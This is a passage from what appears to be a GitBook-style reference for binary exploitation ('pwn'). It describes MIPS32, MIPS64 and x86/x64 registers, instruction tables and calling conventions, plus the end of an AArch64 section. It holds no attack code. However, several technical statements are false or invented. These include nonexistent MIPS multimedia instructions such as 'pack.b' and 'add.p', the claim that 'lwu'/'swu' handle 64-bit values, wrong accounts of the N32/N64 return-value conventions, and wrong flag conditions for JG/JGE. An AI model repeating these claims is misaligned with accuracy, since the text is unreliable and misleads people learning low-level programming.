Note that this is not an exhaustive list of synchronization instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to manage concurrent access to shared data by multiple threads or processes. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}

## System

<table><thead><tr><th width="145">Instruction</th><th>Description</th></tr></thead><tbody><tr><td>MRS</td><td>Read the value of a system register into a register</td></tr><tr><td>MSR</td><td>Write a value to a system register from a register</td></tr><tr><td>SYS</td><td>Perform a privileged operation or access a system resource</td></tr><tr><td>HINT</td><td>Provide a hint to the processor about the expected behavior of the code</td></tr><tr><td>DCPS</td><td>Change the current processor mode or the state of interrupts</td></tr><tr><td>NOP</td><td>Do nothing</td></tr></tbody></table>

{% hint style="warning" %}
Note that this is not an exhaustive list of system instructions that are available in the aarch64 instruction set but not in the aarch32 instruction set. There are many other instructions that can be used to access system resources or perform other privileged operations. The specific instructions available and their exact behavior may vary depending on the implementation of the aarch64 instruction set.
{% endhint %}


# Calling convention

The AArch64 instruction set, which is used on ARM processors, supports several different calling conventions, which define how functions are called and how arguments are passed between functions in a program. Some of the most commonly used calling conventions on the AArch64 instruction set include:

* **AAPCS64**: This is the default calling convention for the AArch64 instruction set. It is used for functions written in C or C++ and is based on the ARM Procedure Call Standard. In this convention, arguments are passed to the function in registers, and any additional arguments are passed on the stack. The return value is stored in the X0 register.
* **AAPCS64-VFP**: This calling convention is an extension of the AAPCS64 convention and is used for functions that use the VFP (Vector Floating Point) unit. It is similar to the AAPCS64 convention, but it includes additional rules for passing arguments that are stored in the VFP registers.
* **System V ABI**: This calling convention is based on the System V Application Binary Interface and is used for functions that are compiled for the AArch64 instruction set. It is similar to the AAPCS64 convention, but it includes additional rules for handling certain types of arguments, such as structures and unions.

Overall, the AArch64 instruction set supports a number of different calling conventions, which allows it to be used in a variety of programming languages and environments. The specific calling convention that is used can affect the performance and compatibility of a program, as well as the interactions between functions and libraries.


# mips32

MIPS32 is a 32-bit Instruction Set Architecture (ISA) for computer processors. It was developed by MIPS Technologies, Inc., a company that designs and manufactures microprocessors and other semiconductor devices.

The MIPS32 ISA is designed to support high-performance computing applications and is used in a wide range of systems, including embedded systems, networking devices, and desktop and server computers. It is a Reduced Instruction Set Computing (RISC) architecture, which means that it has a relatively small set of simple and easy-to-execute instructions. This allows MIPS32 processors to execute instructions quickly and efficiently, which can be beneficial for applications that require fast processing speeds.

The MIPS32 ISA includes a variety of instructions for performing arithmetic and logical operations, branching, and memory access. It also includes support for floating point operations and multimedia instructions, as well as a variety of other features designed to improve performance and versatility.

Overall, the MIPS32 ISA is a widely-used and well-respected architecture that is known for its performance and efficiency. It has played a significant role in the development of many modern computing systems and continues to be a popular choice for a variety of applications.

{% content-ref url="/pages/f6GSexahi4icXk0tw5Fr" %}
[Registers](/pwn/architectures/mips32/registers)
{% endcontent-ref %}

{% content-ref url="/pages/yqAjbM440TNVWsA4TsXY" %}
[Instruction set](/pwn/architectures/mips32/instruction-set)
{% endcontent-ref %}

{% content-ref url="/pages/QwnnXDhdJymfLzKRNKh9" %}
[Calling convention](/pwn/architectures/mips32/calling-convention)
{% endcontent-ref %}


# Registers

Registers all begin with a dollar-symbol ($). The floating point registers are named $f0, $f1, ..., $f31. The general-purpose registers have both names and numbers, and are listed below. When programming in MIPS assembly, it is usually best to use the register names.

<table><thead><tr><th width="126.33333333333331">Number</th><th width="146">Name</th><th>Comments</th></tr></thead><tbody><tr><td>$0</td><td>$zero, $r0</td><td>Always zero</td></tr><tr><td>$1</td><td>$at</td><td>Reserved for assembler</td></tr><tr><td>$2, $3</td><td>$v0, $v1</td><td>First and second return values, respectively</td></tr><tr><td>$4, ..., $7</td><td>$a0, ..., $a3</td><td>First four arguments to functions</td></tr><tr><td>$8, ..., $15</td><td>$t0, ..., $t7</td><td>Temporary registers</td></tr><tr><td>$16, ..., $23</td><td>$s0, ..., $s7</td><td>Saved registers</td></tr><tr><td>$24, $25</td><td>$t8, $t9</td><td>More temporary registers</td></tr><tr><td>$26, $27</td><td>$k0, $k1</td><td>Reserved for kernel (operating system)</td></tr><tr><td>$28</td><td>$gp</td><td>Global pointer</td></tr><tr><td>$29</td><td>$sp</td><td>Stack pointer</td></tr><tr><td>$30</td><td>$fp</td><td>Frame pointer</td></tr><tr><td>$31</td><td>$ra</td><td>Return address</td></tr></tbody></table>

In addition to the general purpose registers, the MIPS32 architecture also includes a number of special purpose registers, which are used to control the operation of the processor and to store certain types of data. These include the **program counter (PC) and** the **status register (SR).**

## Resources

{% embed url="<https://www.mips.com/products/architectures/mips32-2/>" %}


# Instruction set

The MIPS32 instruction set can be broadly divided into the following categories:

<table><thead><tr><th width="187">Category</th><th>Description</th></tr></thead><tbody><tr><td>Data processing</td><td>Instructions that perform arithmetic and logical operations on data stored in registers or memory</td></tr><tr><td>Control flow</td><td>Instructions that allow the processor to change the flow of execution in a program</td></tr><tr><td>Memory access</td><td>Instructions that allow the processor to read from and write to memory</td></tr><tr><td>Floating point</td><td>Instructions that support the use of floating point numbers in programs</td></tr><tr><td>Multimedia</td><td>Instructions that are optimized for processing multimedia data, such as audio and video</td></tr></tbody></table>

Overall, the MIPS32 instruction set includes a wide range of instructions designed to support a variety of different types of applications and workloads.

## Data processing

<table><thead><tr><th width="148">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>add</code></td><td>Add two values and store the result in a register</td></tr><tr><td><code>sub</code></td><td>Subtract one value from another and store the result in a register</td></tr><tr><td><code>mul</code></td><td>Multiply two values and store the result in a register</td></tr><tr><td><code>div</code></td><td>Divide one value by another and store the result in a register</td></tr><tr><td><code>and</code></td><td>Perform a bitwise AND operation on two values and store the result in a register</td></tr><tr><td><code>or</code></td><td>Perform a bitwise OR operation on two values and store the result in a register</td></tr><tr><td><code>xor</code></td><td>Perform a bitwise XOR operation on two values and store the result in a register</td></tr><tr><td><code>nor</code></td><td>Perform a bitwise NOR operation on two values and store the result in a register</td></tr></tbody></table>

These instructions allow the processor to perform various types of arithmetic and logical operations on data stored in registers or memory. They are a fundamental part of the MIPS32 instruction set and are used extensively in many types of programs.

## Control flow

| Instruction | Description                                                      |
| ----------- | ---------------------------------------------------------------- |
| `j`         | Jump to a new address in the program                             |
| `jal`       | Jump to a new address and store the return address in a register |
| `beq`       | Branch to a new address if two values are equal                  |
| `bne`       | Branch to a new address if two values are not equal              |
| `syscall`   | Trigger a system call or exception                               |

These instructions allow the processor to change the flow of execution in a program. They can be used to implement branching, looping, and other control structures, as well as to handle exceptions and interrupts. They are an important part of the MIPS32 instruction set and are used extensively in many types of programs.

## Memory access

| Instruction | Description                                       |
| ----------- | ------------------------------------------------- |
| `lw`        | Load a word (4 bytes) from memory into a register |
| `sw`        | Store a word (4 bytes) from a register to memory  |
| `lb`        | Load a byte from memory into a register           |
| `sb`        | Store a byte from a register to memory            |

These instructions allow the processor to read from and write to memory. They are used to load data from memory into registers for processing, and to store the results of processing back to memory. They are an important part of the MIPS32 instruction set and are used extensively in many types of programs.

## Floating point

| Instruction | Description                                                                           |
| ----------- | ------------------------------------------------------------------------------------- |
| `add.s`     | Add two floating point values and store the result in a register                      |
| `sub.s`     | Subtract one floating point value from another and store the result in a register     |
| `mul.s`     | Multiply two floating point values and store the result in a register                 |
| `div.s`     | Divide one floating point value by another and store the result in a register         |
| `cvt.s.w`   | Convert an integer value to a floating point value and store the result in a register |
| `cvt.w.s`   | Convert a floating point value to an integer value and store the result in a register |

These instructions allow the processor to perform various types of arithmetic operations on floating point numbers, as well as to convert between floating point and integer formats. They are an important part of the MIPS32 instruction set and are used extensively in many types of programs that require the use of floating point numbers.

## Multimedia

| Instruction | Description                                       |
| ----------- | ------------------------------------------------- |
| `pack.b`    | Pack 8-bit integers into a single register        |
| `unpack.b`  | Unpack 8-bit integers from a single register      |
| `add.p`     | Perform an addition operation on packed data      |
| `mul.p`     | Perform a multiplication operation on packed data |

These instructions are optimized for processing multimedia data, such as audio and video. They allow the processor to perform operations on packed data (e.g. packed 8-bit integers) and to perform SIMD (Single Instruction, Multiple Data) operations. They are an important part of the MIPS32 instruction set and are used extensively in many types of programs that require efficient processing of multimedia data.

## Resources

{% embed url="<https://www.mips.com/products/architectures/mips32-2/>" %}


# Calling convention

The MIPS architecture supports several different calling conventions, which define how functions are called and how arguments are passed between functions in a program. Some of the most commonly used calling conventions on the MIPS architecture include:

* **O32**: This is the default calling convention for the MIPS architecture. It is used for functions written in C or C++. In this convention, arguments are passed to the function in registers, and any additional arguments are passed on the stack. The return value is stored in the $v0 and $v1 registers.
* **N32**: This calling convention is similar to the O32 convention, but it is used for functions that return values that are larger than 64 bits up to 128 bits. In this convention, the return value is stored in a pair of registers, $f0 and $f1.

Overall, the MIPS architecture supports a number of different calling conventions, which allows it to be used in a variety of programming languages and environments. The specific calling convention that is used can affect the performance of a program, as well as the compatibility of functions with different compilers and libraries.


# mips64

MIPS64 is a 64-bit Instruction Set Architecture (ISA) for computer processors. It was developed by MIPS Technologies, Inc., a company that designs and manufactures microprocessors and other semiconductor devices.

The MIPS64 ISA is an extension of the [MIPS32](/pwn/architectures/mips32) ISA, which is a 32-bit ISA that was developed earlier by MIPS Technologies. It adds support for 64-bit integers, pointers, and addresses, as well as a number of other features designed to improve performance and versatility. Like the MIPS32 ISA, the MIPS64 ISA is a Reduced Instruction Set Computing (RISC) architecture, which means that it has a relatively small set of simple and easy-to-execute instructions.

The MIPS64 ISA includes a wide range of instructions for performing arithmetic and logical operations, branching, and memory access, as well as support for floating point operations and multimedia instructions. It is used in a variety of systems, including embedded systems, networking devices, and desktop and server computers.

Overall, the MIPS64 ISA is a powerful and flexible architecture that is known for its performance and efficiency. It has played a significant role in the development of many modern computing systems and continues to be a popular choice for a variety of applications.

{% content-ref url="/pages/xQT7LrpqmZffftxBJj5Q" %}
[Calling convention](/pwn/architectures/mips64/calling-convention)
{% endcontent-ref %}


# Registers

the MIPS64 instruction set includes all of the [general purpose registers from the MIPS32 ](/pwn/architectures/mips32/registers)instruction set, as well as additional registers that are specific to the MIPS64 instruction set.

## Resources

{% embed url="<https://www.mips.com/products/architectures/mips64/>" %}


# Instruction set

{% hint style="info" %}
The MIPS64 ISA is an extension of the MIPS32 ISA, so it includes all of the [instructions and features of the MIPS32 ISA.](/pwn/architectures/mips32/instruction-set)
{% endhint %}

<table><thead><tr><th width="187">Category</th><th>Description</th></tr></thead><tbody><tr><td>Data processing</td><td>Instructions that perform arithmetic and logical operations on data stored in registers or memory</td></tr><tr><td>Control flow</td><td>Instructions that allow the processor to change the flow of execution in a program</td></tr><tr><td>Memory access</td><td>Instructions that allow the processor to read from and write to memory</td></tr><tr><td>Floating point</td><td>Instructions that support the use of floating point numbers in programs</td></tr><tr><td>Multimedia</td><td>Instructions that are optimized for processing multimedia data, such as audio and video</td></tr></tbody></table>

Overall, the MIPS64 instruction set includes a wide range of instructions designed to support a variety of different types of applications and workloads.

## Data processing

<table><thead><tr><th width="197">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>daddu</code>, <code>dsubu</code></td><td>Add or subtract two 64-bit values and store the result in a register</td></tr><tr><td><code>dmult</code>, <code>ddiv</code></td><td>Multiply or divide two 64-bit values and store the result in a register</td></tr><tr><td><code>daddi</code>, <code>dsubi</code></td><td>Add or subtract a 64-bit value and an immediate value and store the result in a register</td></tr><tr><td><code>daddiu</code>, <code>dsubiu</code></td><td>Add or subtract a 64-bit value and an immediate value (unsigned) and store the result in a register</td></tr><tr><td><code>dmultu</code>, <code>ddivu</code></td><td>Multiply or divide two 64-bit values (unsigned) and store the result in a register</td></tr></tbody></table>

These instructions allow the processor to perform arithmetic operations on 64-bit values, which can be useful in applications that require the use of large integers or pointers. They are not present in the MIPS32 instruction set, but are available in the MIPS64 instruction set.

## Control flow

<table><thead><tr><th width="236">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>jalr.hb</code>, <code>jalr.hbr</code></td><td>Jump to a new address and store the return address in a register, with the option to specify a hint for the target address</td></tr><tr><td><code>beqzalc</code>, <code>bnezalc</code></td><td>Branch to a new address if a value is equal to or not equal to zero, and store the return address in a register</td></tr><tr><td><code>bgezalc</code>, <code>blezalc</code></td><td>Branch to a new address if a value is greater than or equal to or less than or equal to zero, and store the return address in a register</td></tr><tr><td><code>bgezallc</code>, <code>blezallc</code></td><td>Branch to a new address if a value is greater than or equal to or less than or equal to zero (likely), and store the return address in a register</td></tr></tbody></table>

These instructions allow the processor to change the flow of execution in a program, with the added ability to store the return address in a register and to provide a hint for the target address. They are not present in the MIPS32 instruction set, but are available in the MIPS64 instruction set.

## Memory access

<table><thead><tr><th width="158">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>ld</code>, <code>sd</code></td><td>Load or store a 64-bit value from or to memory</td></tr><tr><td><code>lwu</code>, <code>swu</code></td><td>Load or store a 64-bit value from or to memory (unsigned)</td></tr><tr><td><code>lld</code>, <code>scd</code></td><td>Load a linked or store a conditional 64-bit value from or to memory</td></tr></tbody></table>

These instructions allow the processor to access 64-bit values in memory, which can be useful in applications that require the use of large integers or pointers. They are not present in the MIPS32 instruction set, but are available in the MIPS64 instruction set.

## Floating point

<table><thead><tr><th width="216">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>add.d</code>, <code>sub.d</code></td><td>Add or subtract two 64-bit floating point values and store the result in a register</td></tr><tr><td><code>mul.d</code>, <code>div.d</code></td><td>Multiply or divide two 64-bit floating point values and store the result in a register</td></tr><tr><td><code>cvt.d.w</code>, <code>cvt.d.l</code></td><td>Convert a 32-bit or 64-bit integer value to a 64-bit floating point value and store the result in a register</td></tr><tr><td><code>cvt.w.d</code>, <code>cvt.l.d</code></td><td>Convert a 64-bit floating point value to a 32-bit or 64-bit integer value and store the result in a register</td></tr></tbody></table>

These instructions allow the processor to perform arithmetic operations on 64-bit floating point values, as well as to convert between floating point and integer formats. They are not present in the MIPS32 instruction set, but are available in the MIPS64 instruction set.

## Multimedia

<table><thead><tr><th width="144">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><code>pack.d</code></td><td>Pack 64-bit integers into a single register</td></tr><tr><td><code>unpack.d</code></td><td>Unpack 64-bit integers from a single register</td></tr><tr><td><code>add.q</code></td><td>Perform an addition operation on packed data</td></tr><tr><td><code>mul.q</code></td><td>Perform a multiplication operation on packed data</td></tr></tbody></table>

These instructions are optimized for processing multimedia data, such as audio and video. They allow the processor to perform operations on packed data (e.g. packed 64-bit integers) and to perform SIMD (Single Instruction, Multiple Data) operations. They are not present in the MIPS32 instruction set, but are available in the MIPS64 instruction set.

## Resources

{% embed url="<https://www.mips.com/products/architectures/mips64/>" %}


# Calling convention

The MIPS architecture supports several different calling conventions, which define how functions are called and how arguments are passed between functions in a program. Some of the most commonly used calling conventions on the MIPS architecture include:

* **O32**: This is the default calling convention for the MIPS architecture. It is used for functions written in C or C++. In this convention, arguments are passed to the function in registers, and any additional arguments are passed on the stack. The return value is stored in the $v0 and $v1 registers.
* **N32**: This calling convention is similar to the O32 convention, but it is used for functions that return values that are larger than 64 bits up to 128 bits. In this convention, the return value is stored in a pair of registers, $f0 and $f1.
* **N64**: This calling convention is used for functions that are compiled for the MIPS64 instruction set. It is similar to the N32 convention for return values larger than 128 bits. It supports 64-bit integers and pointers.

Overall, the MIPS architecture supports a number of different calling conventions, which allows it to be used in a variety of programming languages and environments. The specific calling convention that is used can affect the performance of a program, as well as the compatibility of functions with different compilers and libraries.


# x86 / x64

The x86 and x64 instruction sets are architectures that are used in many modern microprocessors, including processors made by Intel and AMD. They are used in a wide range of devices, including desktop computers, laptops, servers, and embedded systems.

The x86 instruction set is a 32-bit architecture that was developed by Intel in the 1970s. It has evolved over time and has become one of the most widely used instruction sets in the world. The x86 instruction set is known for its high level of backwards compatibility, which allows it to run software that was written for earlier versions of the architecture.

The x64 instruction set is an extension of the x86 instruction set that was introduced in 2003. It is a 64-bit architecture that is compatible with the x86 instruction set, but it includes additional features and capabilities that are not present in the x86 instruction set. The x64 instruction set is used in many modern processors and is capable of running both 32-bit and 64-bit software.

Overall, the x86 and x64 instruction sets are powerful and flexible architectures that are used in a wide range of devices and applications. They are known for their high level of compatibility with older software, as well as their support for modern operating systems and applications.

{% hint style="info" %}
x64 and x86 refer to two different instruction set architectures (ISAs) for CPUs. x86 is a 32-bit ISA, while x64 is a 64-bit ISA. This means that a CPU that supports the x86 ISA can execute 32-bit instructions, while a CPU that supports the x64 ISA can execute both 32-bit and 64-bit instructions.
{% endhint %}

{% content-ref url="/pages/RVhmAaP088EmNXpI2sOb" %}
[Registers](/pwn/architectures/x86-x64/registers)
{% endcontent-ref %}

{% content-ref url="/pages/KY0zD8lZLZNI4VLAJ038" %}
[Instruction set](/pwn/architectures/x86-x64/instruction-set)
{% endcontent-ref %}

{% content-ref url="/pages/m6itT8TiFBjO3bA2K2rZ" %}
[Calling convention](/pwn/architectures/x86-x64/calling-convention)
{% endcontent-ref %}


# Registers

Main x86 and x64 registers

There is 8 General Purpose Registers (GPRs) in x86 and x64 architectures.

<table><thead><tr><th width="98">x86</th><th width="95">x64</th><th width="167">name</th><th>Usage</th></tr></thead><tbody><tr><td><strong>EAX</strong></td><td><strong>RAX</strong></td><td>Accumulator</td><td>Store the results of arithmetic and logical operations</td></tr><tr><td><strong>EBX</strong></td><td><strong>RBX</strong></td><td>Base</td><td>Store the base address of memory operands</td></tr><tr><td><strong>ECX</strong></td><td><strong>RCX</strong></td><td>Counter</td><td>Store the count of iterative instructions</td></tr><tr><td><strong>EDX</strong></td><td><strong>RDX</strong></td><td>Data</td><td>Store the results of multiplication and division operations</td></tr><tr><td><strong>ESP</strong></td><td><strong>RSP</strong></td><td>Stack Pointer</td><td>Store the stack pointer</td></tr><tr><td><strong>EBP</strong></td><td><strong>RBP</strong></td><td>Base Pointer</td><td>Store the base pointer</td></tr><tr><td><strong>ESI</strong></td><td><strong>RSI</strong></td><td>Source Index</td><td>Store the source index for string operations</td></tr><tr><td><strong>EDI</strong></td><td><strong>RDI</strong></td><td>Destination Index</td><td>Store the destination index for string operations</td></tr></tbody></table>

{% hint style="info" %}
**Two groups are distinguished :**&#x20;

* **EAX/RAX, EBX/RBX, ECX/RCX and EDX/RDX** have to store temporary data for the processor.
* **ESP/RSP, EBP/RBP, ESI/RSI and EDI/RDI** are instead used as pointers and indexes
  {% endhint %}

**There is three other main registers :**&#x20;

<table><thead><tr><th width="128.33333333333331">x86</th><th width="103">x64</th><th width="116">Name</th><th>Usage</th></tr></thead><tbody><tr><td><strong>EFLAGS</strong></td><td><strong>RFLAGS</strong></td><td>Flags</td><td>Store the current state of the CPU's flags, which are special bits that are used to control the execution of instructions</td></tr><tr><td><strong>EIP</strong></td><td><strong>RIP</strong></td><td>Instruction Pointer</td><td>Store the current instruction pointer, which is the address of the next instruction to be executed by the CPU. The instruction pointer is automatically updated by the CPU as instructions are executed, and it is used to determine the order in which instructions are executed</td></tr><tr><td><strong>CS</strong></td><td><strong>CS</strong></td><td>Code Segment</td><td>Store the code segment selector, which is a value that specifies the current segment of memory that is being used to store the instructions that are executed by the CPU</td></tr></tbody></table>

{% hint style="info" %}
There is other registers like the segment registers (DS, ES, FS, GS, and SS), the control registers (CR0, CR1, CR2, CR3, and CR4), and the debug registers (DR0, DR1, DR2, DR3, DR4, DR5, DR6, and DR7). However, this is not a complete list, and there may be other registers that are available on some 32-bit x86 CPUs.
{% endhint %}


# Instruction set

The main instruction set of the x86/x64 ISA includes a variety of instructions for performing arithmetic operations, moving data, managing the stack, branching, and more. The following table provides a brief overview of some of the main instruction categories in the x86/x64 ISA:

<table><thead><tr><th width="231">Instruction category</th><th>Description</th></tr></thead><tbody><tr><td><strong>Arithmetic instructions</strong></td><td>These instructions perform basic arithmetic operations such as addition, subtraction, multiplication, and division. They can operate on both integer and floating-point values.</td></tr><tr><td><strong>Logic instructions</strong></td><td>These instructions perform logical operations such as AND, OR, XOR, and NOT. They are often used for bitwise operations or to set or test individual bits in a register or memory location.</td></tr><tr><td><strong>Data transfer instructions</strong></td><td>These instructions are used to move data between registers, memory locations, or immediate values. They can also be used to load constants or perform memory address calculations.</td></tr><tr><td><strong>Control flow instructions</strong></td><td>These instructions are used to change the flow of execution in a program. They include conditional and unconditional jumps, subroutine calls and returns, and instructions for managing the stack.</td></tr><tr><td><strong>String instructions</strong></td><td>These instructions are used for efficient processing of strings, such as copying or comparing blocks of memory. They can operate on both byte-sized and word-sized strings.</td></tr><tr><td><strong>Input/output instructions</strong></td><td>These instructions are used to communicate with external devices such as keyboards, mice, printers, and other peripherals. They can be used to read or write data to and from specific memory-mapped IO ports or to control the flow of data between the CPU and these devices.</td></tr></tbody></table>

{% hint style="warning" %}
This is just a brief overview of some of the main instruction categories in the x86/x64 ISA. There are many other instruction categories and specific instructions within each category, each of which serves a specific purpose and can be used in various ways to implement a given algorithm or program.
{% endhint %}

## Arithmetic instruction

The x86/x64 ISA includes a variety of instructions for performing arithmetic operations. The following table provides a list of some common arithmetic instructions and a brief description of each:

<table><thead><tr><th width="131">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>ADD</strong></td><td>Adds two operands and stores the result in the destination operand. The operands can be registers, memory locations, or immediate values.</td></tr><tr><td><strong>SUB</strong></td><td>Subtracts the second operand from the first operand and stores the result in the destination operand. The operands can be registers or memory locations.</td></tr><tr><td><strong>MUL</strong></td><td>Multiplies the first operand by the second operand and stores the result in the destination operand. The first operand must be a register.</td></tr><tr><td><strong>IMUL</strong></td><td>Multiplies the first operand by the second operand and stores the result in the destination operand. The operands can be registers or memory locations.</td></tr><tr><td><strong>DIV</strong></td><td>Divides the first operand by the second operand and stores the result in the destination operand. The first operand must be a register.</td></tr><tr><td><strong>IDIV</strong></td><td>Divides the first operand by the second operand and stores the result in the destination operand. The operands can be registers or memory locations.</td></tr><tr><td><strong>INC</strong></td><td>Increments the value of the operand by one. The operand can be a register or a memory location.</td></tr><tr><td><strong>DEC</strong></td><td>Decrements the value of the operand by one. The operand can be a register or a memory location.</td></tr></tbody></table>

{% hint style="info" %}
These instructions can operate on both integer and floating-point values. In addition to the instructions listed above, the x86/x64 ISA also includes instructions for performing more complex arithmetic operations such as square root, trigonometric functions, and more.
{% endhint %}

## **Logic instructions**

The x86 ISA includes a variety of instructions for performing logical operations. The following table provides a list of some common logic instructions and a brief description of each:

<table><thead><tr><th width="131">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>AND</strong></td><td>Performs a bitwise AND operation on the two operands and stores the result in the destination operand. The operands can be registers, memory locations, or immediate values.</td></tr><tr><td><strong>OR</strong></td><td>Performs a bitwise OR operation on the two operands and stores the result in the destination operand. The operands can be registers, memory locations, or immediate values.</td></tr><tr><td><strong>XOR</strong></td><td>Performs a bitwise XOR operation on the two operands and stores the result in the destination operand. The operands can be registers, memory locations, or immediate values.</td></tr><tr><td><strong>NOT</strong></td><td>Performs a bitwise NOT operation on the operand, inverting each bit in the operand. The operand can be a register or a memory location.</td></tr><tr><td><strong>SHL</strong></td><td>Performs a bitwise left shift operation on the first operand, shifting the bits in the operand to the left by the number of bits specified by the second operand. The result is stored in the destination operand.</td></tr><tr><td><strong>SHR</strong></td><td>Performs a bitwise right shift operation on the first operand, shifting the bits in the operand to the right by the number of bits specified by the second operand. The result is stored in the destination operand.</td></tr></tbody></table>

{% hint style="info" %}
These instructions are often used for bitwise operations or to set or test individual bits in a register or memory location. They can also be used for performing logical operations on integer or floating-point values.
{% endhint %}

## **Data transfer instructions**

The x86 ISA includes a variety of instructions for transferring data between registers, memory locations, or immediate values. The following table provides a list of some common data transfer instructions and a brief description of each:

<table><thead><tr><th width="135">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>MOV</strong></td><td>Copies the value of the second operand to the destination operand. The operands can be registers, memory locations, or immediate values. The source and destination operands can be different sizes (e.g., a 32-bit register and a 16-bit memory location).</td></tr><tr><td><strong>LEA</strong></td><td>Loads the memory address of the second operand into the destination operand. The second operand must be a memory location, and the destination operand must be a register. This instruction can be used for address calculation.</td></tr><tr><td><strong>PUSH</strong></td><td>Pushes the value of the operand onto the stack. The operand can be a register, a memory location, or an immediate value. The stack pointer (ESP or RSP) is decremented by the size of the operand before the value is stored on the stack.</td></tr><tr><td><strong>POP</strong></td><td>Pops the top value from the stack and stores it in the destination operand. The destination operand can be a register or a memory location. The stack pointer (ESP or RSP) is incremented by the size of the operand after the value is popped from the stack.</td></tr></tbody></table>

{% hint style="info" %}
These instructions can be used to move data between registers, memory locations, or immediate values. They can also be used to load constants or perform memory address calculations.
{% endhint %}

## **Control flow instructions**

The x86 ISA includes a variety of instructions for controlling the flow of execution in a program. The following table provides a list of some common control flow instructions and a brief description of each:

<table><thead><tr><th width="141">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>JMP</strong></td><td>Unconditionally jumps to the specified target instruction. The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer. This instruction can be used to implement loops, branches, and other control structures.</td></tr><tr><td><strong>CALL</strong></td><td>Calls a subroutine at the specified target address. The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer. This instruction pushes the return address (i.e., the address of the instruction following the call) onto the stack and transfers control to the target subroutine.</td></tr><tr><td><strong>RET</strong></td><td>Returns from a subroutine. This instruction pops the return address from the stack and transfers control to that address. This instruction is typically used at the end of a subroutine to transfer control back to the calling function.</td></tr><tr><td><strong>INT</strong></td><td>Generates a software interrupt. This instruction causes the CPU to transfer control to a predefined interrupt handler routine, specified by the interrupt number. This instruction can be used to request services from the operating system or to handle other exceptions or errors.</td></tr></tbody></table>

<table><thead><tr><th width="142">JE/JZ</th><th>Jumps to the target instruction if the zero flag (ZF) is set. The zero flag is set if the result of the previous operation was zero or if the operand was equal to the other operand (for comparison instructions). The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer.</th></tr></thead><tbody><tr><td><strong>JNE/JNZ</strong></td><td>Jumps to the target instruction if the zero flag (ZF) is not set. The zero flag is set if the result of the previous operation was non-zero or if the operand was not equal to the other operand (for comparison instructions). The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer.</td></tr><tr><td><strong>JG/JNLE</strong></td><td>Jumps to the target instruction if the sign flag (SF) and the zero flag (ZF) are not set and the overflow flag (OF) is set. This condition indicates that the result of the previous operation was greater than zero. The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer.</td></tr><tr><td><strong>JGE/JNL</strong></td><td>Jumps to the target instruction if the sign flag (SF) is not set. This condition indicates that the result of the previous operation was greater than or equal to zero. The target can be specified as an absolute memory address or as a relative offset from the current instruction pointer.</td></tr><tr><td><strong>SYSCALL</strong></td><td>Make system call in kernel, request services or access to resources.</td></tr></tbody></table>

{% hint style="info" %}
These instructions are used to change the flow of execution in a program. They include conditional and unconditional jumps, subroutine calls and returns, and interupt.
{% endhint %}

## **String instructions**

string instructions are a group of instructions in the x86/x64 instruction set architecture that are designed to manipulate strings of characters. These instructions can be used to perform operations such as comparing, copying, and searching for substrings within a string.

Here is a table with a list of some of the string instructions in the x86/x64 instruction set architecture, along with a brief description of each instruction:

<table><thead><tr><th width="137">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>MOVS</strong></td><td>This instruction is used to copy a string of bytes from one memory location to another.</td></tr><tr><td><strong>STOS</strong></td><td>This instruction is used to store a string of bytes in memory.</td></tr><tr><td><strong>SCAS</strong></td><td>This instruction is used to compare a string of bytes in memory to a value specified in a register.</td></tr><tr><td><strong>CMPS</strong></td><td>This instruction is used to compare two strings of bytes in memory.</td></tr><tr><td><strong>LODS</strong></td><td>This instruction is used to load a string of bytes from memory into a register.</td></tr><tr><td><strong>REPMOVS</strong></td><td>This instruction is a variant of the <code>MOVS</code> instruction that can be used to repeat the string copy operation a specified number of times.</td></tr></tbody></table>

{% hint style="info" %}
These instructions can be used in combination with other instructions and registers to perform a wide variety of operations on strings of characters. For example, the `CMPS` instruction can be used with the `REPE` or `REPNE` prefix to perform a repeated comparison of two strings until a specified condition is met, allowing you to search for substrings within a string.
{% endhint %}

## **Input/output instructions**

Input/output (I/O) instructions are a group of instructions in the x86/x64 instruction set architecture that are used to interact with input and output devices such as keyboards, mice, printers, and storage devices. These instructions can be used to transfer data between the processor and I/O devices, as well as to control and configure the operation of these devices.

Here is a table with a list of some of the input/output instructions in the x86/x64 instruction set architecture, along with a brief description of each instruction:

<table><thead><tr><th width="133">Instruction</th><th>Description</th></tr></thead><tbody><tr><td><strong>IN</strong></td><td>This instruction is used to read a byte or word of data from an I/O port.</td></tr><tr><td><strong>OUT</strong></td><td>This instruction is used to write a byte or word of data to an I/O port.</td></tr><tr><td><strong>INS</strong></td><td>This instruction is used to read a string of bytes or words of data from an I/O port.</td></tr><tr><td><strong>OUTS</strong></td><td>This instruction is used to write a string of bytes or words of data to an I/O port.</td></tr><tr><td><strong>INT</strong></td><td>This instruction is used to generate a software interrupt, which can be used to invoke a specific interrupt handler to process the request.</td></tr><tr><td><strong>INVD</strong></td><td>This instruction is used to invalidate the contents of the processor's internal cache. This can be useful when performing I/O operations, as it ensures that the cache is up to date with the current contents of memory.</td></tr></tbody></table>

{% hint style="info" %}
These instructions can be used in combination with other instructions and registers to perform a wide variety of I/O operations on a computer. For example, the `IN` and `OUT` instructions can be used to read and write data to and from specific I/O ports, while the `INT` instruction can be used to generate an interrupt to request a specific I/O operation from an interrupt handler.
{% endhint %}

## prefix instructions

In the x86/x64 instruction set architecture, a prefix is a one-byte instruction that can be used to modify the behavior of other instructions. Prefix instructions are often used to specify the size of operands or to provide additional information about the instruction that follows.

Here is a table with a list of some of the prefix instructions in the x86/x64 instruction set architecture, along with a brief description of each instruction:

| Instruction                  | Description                                                                                                                                |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
